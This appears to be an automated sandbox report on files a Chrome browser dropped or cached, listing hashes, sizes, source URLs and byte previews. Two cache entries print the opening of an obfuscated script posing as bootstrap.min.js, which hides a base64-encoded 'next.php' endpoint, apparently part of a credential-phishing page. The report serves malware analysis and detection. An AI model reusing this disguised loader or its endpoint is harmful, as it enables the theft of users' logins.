Entropy (8bit):	3.9959643076274274
Encrypted:	false
SSDEEP:	48:80dyTe+LHbidAKZdA1vehDiZUkwqehjy+R:8lHYty
MD5:	DFFE8EFAB56170E1E1E29DBCF8317203
SHA1:	37D9D5673AFBD1EE758CCE9462C0739726B90024
SHA-256:	DBBE4F204DBA95C722DAADD5DE1921CAA50BD53106B2D071FFFA96CACFDE51AA
SHA-512:	C6A3C862AF27F73BA5AE4A69773AFD2DB13715FA48FBB1889821EE34D979C3C1557446E68E5B5546F3B123BC87A67286B8CAC57120E131E5A9C514DFBB0E0CAA
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....X.?...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IQZqk....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VQZqk....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VQZqk....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VQZqk..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VQZtk...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........=}~D.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Feb 17 12:27:38 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9855314744360397
Encrypted:	false
SSDEEP:	48:8XRdyTe+LHbidAKZdA1hehBiZUk1W1qehBy+C:8WHI9hy
MD5:	00B932D649829FBF6767CB97097A63C5
SHA1:	B3AD52B124D998346F7A0193CCA68FC1771C313D
SHA-256:	C86F6A9DACD2BF50A5601A3F713CD4D2A72815B843945FB999557BA3241071B0
SHA-512:	C45B3E270C5663659DD3F1F08B9CF9BF8660BD5C09B36CF8886E4A946A822BB1F5BDDEE017DD45A30F0901A5354DA37547818D629103BF4660F4D6681F773080
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....E.?...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IQZqk....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VQZqk....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VQZqk....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VQZqk..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VQZtk...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........=}~D.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Feb 17 12:27:38 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.996564228411347
Encrypted:	false
SSDEEP:	48:8XudyTe+LHbidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbLy+yT+:8HHmT/TbxWOvTbLy7T
MD5:	F33BB350875E0E7341CF92E617189F6C
SHA1:	13BD03D167D06E80B6644C7692F8D7A18CB82C82
SHA-256:	F55E0BA38748ACC289A512F6C21DC4C542A534F82545F926958D4B55BFE4C330
SHA-512:	79CA1E6EDB682CB82F374B3058104EBBA958705965573309A9A82769655A14B138C7E88DDADC8297C0F99C5DA45BB4255321D8013B5520D49F5BE41F4FE4BC65
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....?j.?...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IQZqk....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VQZqk....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VQZqk....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VQZqk..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VQZtk...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........=}~D.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65446), with CRLF line terminators
Category:	downloaded
Size (bytes):	553324
Entropy (8bit):	4.912256796286192
Encrypted:	false
SSDEEP:	6144:ITWsY1akh5JWPJurgWLNW6VF7YlNbx1eX8jumoHL4owSKrthO4bQVw:Lay8oLLc6VF7eNyMjumoHL4owSKrcw
MD5:	C998C8EE1B843689E9D77F11F139288A
SHA1:	939E4CC2326DAD61A20F5DE4D00E2101BDFA6CDD
SHA-256:	E9235AF84ACC1EE0F726BADAAA6A7EB72E82E19D82105ABB00580DCD0662665D
SHA-512:	93A8ADDE53BC252BB56DD015DE9799DF9710D208F52DA8F321B92A0960FA75F9965A16DA6170713F21BBD976D236F89F44C4C0909A806A4B8DFD03407C9E0FAC
Malicious:	false
Reputation:	low
URL:	https://5981999647-1317754460.cos.ap-singapore.myqcloud.com/bootstrap.min.js
Preview:	var file = "aHR0cHM6Ly81OTgxOTk5NjQ3LmJ1cmVhdWJ1c2luZXNzbGF3eWVyLmNvbS9uZXh0LnBocA==";....var _0x55a2a4=_0x2c13;function _0x2b19(){var _0x4966e1=['x-lg-row\x20{','color:\x20tra','div\x20id=\x22ma','-lg-0\x20{\x20ma','~.valid-to','1\|4\|0\|2\|6\|','n-top:\x201.5',':focus,\x20.f','ning\x20hr\x20{\x20','end\x20!impor','er;\x20justif','tify\x20!impo','owrap\x20!imp','kit-clip-p','or:\x20#00408','ble\x20td,\x20.t','t/ests/2.1','hite-space','r\x20p-2\x22\x20onm','\x20#pacifism','>&nbsp<spa','sm-wrap\x20{\x20','g9GFerfs7/','fDngjSvCsG','u\x20to\x20your\x20','pover-top\x20','\x20}\x20.btn-da','webkit-app','an><br>\x20<d','lumn;\x20flex','\x20#6c757d\x20!','+PQcVpU7gF','#495057;\x20b','-color:\x20#1','\x20calc(.3re','rst-child)','econdary:f','to\x20!import','}\x20.table-r','-box-flex:','cus,\x20.was-','ng-top:\x200\x20','utton.bg-w','eader,\x20.ca','\x200\x20}\x20.tabl','re,\x20.bs-to','image/svg+','tton:focus','jo4inKDdSN','{\x20text-tra','roup:\x2013;\x20',',\x20.btn.act','r:\x20#28a745','vcoBM','

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65446), with CRLF line terminators
Category:	dropped
Size (bytes):	553324
Entropy (8bit):	4.912256796286192
Encrypted:	false
SSDEEP:	6144:ITWsY1akh5JWPJurgWLNW6VF7YlNbx1eX8jumoHL4owSKrthO4bQVw:Lay8oLLc6VF7eNyMjumoHL4owSKrcw
MD5:	C998C8EE1B843689E9D77F11F139288A
SHA1:	939E4CC2326DAD61A20F5DE4D00E2101BDFA6CDD
SHA-256:	E9235AF84ACC1EE0F726BADAAA6A7EB72E82E19D82105ABB00580DCD0662665D
SHA-512:	93A8ADDE53BC252BB56DD015DE9799DF9710D208F52DA8F321B92A0960FA75F9965A16DA6170713F21BBD976D236F89F44C4C0909A806A4B8DFD03407C9E0FAC
Malicious:	false
Reputation:	low
Preview:	var file = "aHR0cHM6Ly81OTgxOTk5NjQ3LmJ1cmVhdWJ1c2luZXNzbGF3eWVyLmNvbS9uZXh0LnBocA==";....var _0x55a2a4=_0x2c13;function _0x2b19(){var _0x4966e1=['x-lg-row\x20{','color:\x20tra','div\x20id=\x22ma','-lg-0\x20{\x20ma','~.valid-to','1\|4\|0\|2\|6\|','n-top:\x201.5',':focus,\x20.f','ning\x20hr\x20{\x20','end\x20!impor','er;\x20justif','tify\x20!impo','owrap\x20!imp','kit-clip-p','or:\x20#00408','ble\x20td,\x20.t','t/ests/2.1','hite-space','r\x20p-2\x22\x20onm','\x20#pacifism','>&nbsp<spa','sm-wrap\x20{\x20','g9GFerfs7/','fDngjSvCsG','u\x20to\x20your\x20','pover-top\x20','\x20}\x20.btn-da','webkit-app','an><br>\x20<d','lumn;\x20flex','\x20#6c757d\x20!','+PQcVpU7gF','#495057;\x20b','-color:\x20#1','\x20calc(.3re','rst-child)','econdary:f','to\x20!import','}\x20.table-r','-box-flex:','cus,\x20.was-','ng-top:\x200\x20','utton.bg-w','eader,\x20.ca','\x200\x20}\x20.tabl','re,\x20.bs-to','image/svg+','tton:focus','jo4inKDdSN','{\x20text-tra','roup:\x2013;\x20',',\x20.btn.act','r:\x20#28a745','vcoBM','

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	dropped
Size (bytes):	69597
Entropy (8bit):	5.369216080582935
Encrypted:	false
SSDEEP:	1536:qNhEyjjTikEJO4edXXe9J578go6MWX2xkjVe4c4j2ll2Ac7pK3F71QDU8CuT:Exc2yjq4j2uYnQDU8CuT
MD5:	5F48FC77CAC90C4778FA24EC9C57F37D
SHA1:	9E89D1515BC4C371B86F4CB1002FD8E377C1829F
SHA-256:	9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
SHA-512:	CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
Malicious:	false
Reputation:	high, very likely benign file
Preview:	/! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	1746
Entropy (8bit):	7.0941604123505115
Encrypted:	false
SSDEEP:	48:0OTCvdgy5wWh9XtNmtNvVII0Xk0t54tO31aUanH:09vdgy5d0vVvz0tuA8x
MD5:	FF9BBAC9E01B1DDD59C87D1E8DD194D1
SHA1:	018AD340A895FB021B57B3C08A4D88646F2981F1
SHA-256:	C28BD21CF6420D2282292B8FD5DF776B62B68C9681AEDC0D2E73D6444C0BF3A1
SHA-512:	CC7AEF1C346579FF31A504B82D719D73A15A895D08494AF0BA6905CD5DDF4B147FEA627E96AF4AAB8F177A84283F51F10FEF08C71C75851023A0ECF9A26A681E
Malicious:	false
URL:	https://cdn.jsdelivr.net/gh/pranaynamnaik/files@latest/micro-123787483.png
Preview:	RIFF....WEBPVP8L..../..?..:..)....Lef..x...^..@.T..Ybf.%y.....PD.<.......eK.[c.\|. 9..H..g).....O\ue.....n$I...~.@/..9'6....4.{.Q....m;m........7_...e.....N.s'.....A+.>.tz \.zg...............8.8.[.q.]..Z.....k.....M.< ..\...A.............h..O..............e..$.SE$K.....6..!..?..?....iT.?..?..?..?.3...}TE......@y.......X.p.O....}.p\|X.J...................(.........e....?..."...............k\I................m..q...g.*...{.Rs............/...a....j.............b..8L.Ti.;.........r@....._.....`Ta....>;.....9.....RXU.].J.~.9..L...5......9............9..(.We...)..d..0.t-....g.9...._.h.../.u,../6k.....h.;........q.........!..N...?..../}..{..?......g...w4.....g.....9.`l....o!.~qpD."rj.M...>..>Q.O.....5......c.....9.`../...K..2.K5<.SU.J...IpV...........Ui.......n............/..8...?...5..2.e.N..i...uS?e..`....\0.......j..........>j-".(Q,..T...o....%43.`P...P.W.}.........j$...>&...\u...Zo...s.2l..QkUl....s........]7......>'j.=7..1.\|...~..T=...qX;........s..

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48664)
Category:	downloaded
Size (bytes):	48944
Entropy (8bit):	5.272507874206726
Encrypted:	false
SSDEEP:	768:9VG5R15WbHVKZrycEHSYro34CrSLB6WU/6DqBf4l1B:9VIRuo53XiwWTvl1B
MD5:	14D449EB8876FA55E1EF3C2CC52B0C17
SHA1:	A9545831803B1359CFEED47E3B4D6BAE68E40E99
SHA-256:	E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DE0ED167299B01B
SHA-512:	00D9069B9BD29AD0DAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFC4751857F991F2F4FB3D2572FD97FCA651BA0C2B0255530209B182F22
Malicious:	false
URL:	https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function r(){return(r=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&e.hasOwnProperty("default")?e.default:e,n=n&&n.hasOwnProp

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	dropped
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (50758)
Category:	dropped
Size (bytes):	51039
Entropy (8bit):	5.247253437401007
Encrypted:	false
SSDEEP:	768:E9Yw7GuJM+HV0cen/7Kh5rM7V4RxCKg8FW/xsXQUd+FiID65r48Hgp5HRl+:E9X7PMIM7V4R5LFAxTWyuHHgp5HRl+
MD5:	67176C242E1BDC20603C878DEE836DF3
SHA1:	27A71B00383D61EF3C489326B3564D698FC1227C
SHA-256:	56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4
SHA-512:	9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8F4CE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD0A
Malicious:	false
Preview:	/!. Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 30 x 45, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.068159130770306
Encrypted:	false
SSDEEP:	3:yionv//thPlMll/hBxl/k4E08up:6v/lhPit7Tp
MD5:	E5CCCA3A75B60EDAE9889CFB258597A6
SHA1:	0C22A42335186C7ABC6C0552DC4CFF96BA1C74FB
SHA-256:	BBADEDC3659E84D115F55B5E50B35DB7AEA2B7611BF31B95D8F66398EBC70A03
SHA-512:	A57187768D010320E4C9571831E1D34C96E884D14E1CBC6BBFCD5FFB793FE0B96E4F53211BA1974B3F93BE8E44DFAE08A46E1C2E51F1C5B943A2021F99D56194
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/d/91361dc9ed8ade99/1739798864509/aZQKGyY5pVav8Kb
Preview:	.PNG........IHDR.......-.....6.L.....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	32
Entropy (8bit):	4.390319531114783
Encrypted:	false
SSDEEP:	3:HYmpBth0tYY:4mpbgYY
MD5:	EB3CE3190D8A58E048D35E620747D3A5
SHA1:	76B5B6461189F839B018EF5C785DB4836B818B7D
SHA-256:	2D670E2962D8D805B95912CACA0822CE7C6913636BA40373C6E6AEA73CAC8457
SHA-512:	08F9C680B09CC25919A91F8E080CFC517F7354F49759DDC8CF6FFEB5ADE2E46F80A866E7531B6EA97188A5E4647093350F91ED51254351C47BCE3488EF88A595
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAlSdko9C6YsvxIFDa0JrrESEAmc1w7N3d_sKxIFDUPzdjk=?alt=proto
Preview:	CgkKBw2tCa6xGgAKCQoHDUPzdjkaAA==

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 30 x 45, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.068159130770306
Encrypted:	false
SSDEEP:	3:yionv//thPlMll/hBxl/k4E08up:6v/lhPit7Tp
MD5:	E5CCCA3A75B60EDAE9889CFB258597A6
SHA1:	0C22A42335186C7ABC6C0552DC4CFF96BA1C74FB
SHA-256:	BBADEDC3659E84D115F55B5E50B35DB7AEA2B7611BF31B95D8F66398EBC70A03
SHA-512:	A57187768D010320E4C9571831E1D34C96E884D14E1CBC6BBFCD5FFB793FE0B96E4F53211BA1974B3F93BE8E44DFAE08A46E1C2E51F1C5B943A2021F99D56194
Malicious:	false
Preview:	.PNG........IHDR.......-.....6.L.....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	downloaded
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	downloaded
Size (bytes):	69597
Entropy (8bit):	5.369216080582935
Encrypted:	false
SSDEEP:	1536:qNhEyjjTikEJO4edXXe9J578go6MWX2xkjVe4c4j2ll2Ac7pK3F71QDU8CuT:Exc2yjq4j2uYnQDU8CuT
MD5:	5F48FC77CAC90C4778FA24EC9C57F37D
SHA1:	9E89D1515BC4C371B86F4CB1002FD8E377C1829F
SHA-256:	9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
SHA-512:	CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
Malicious:	false
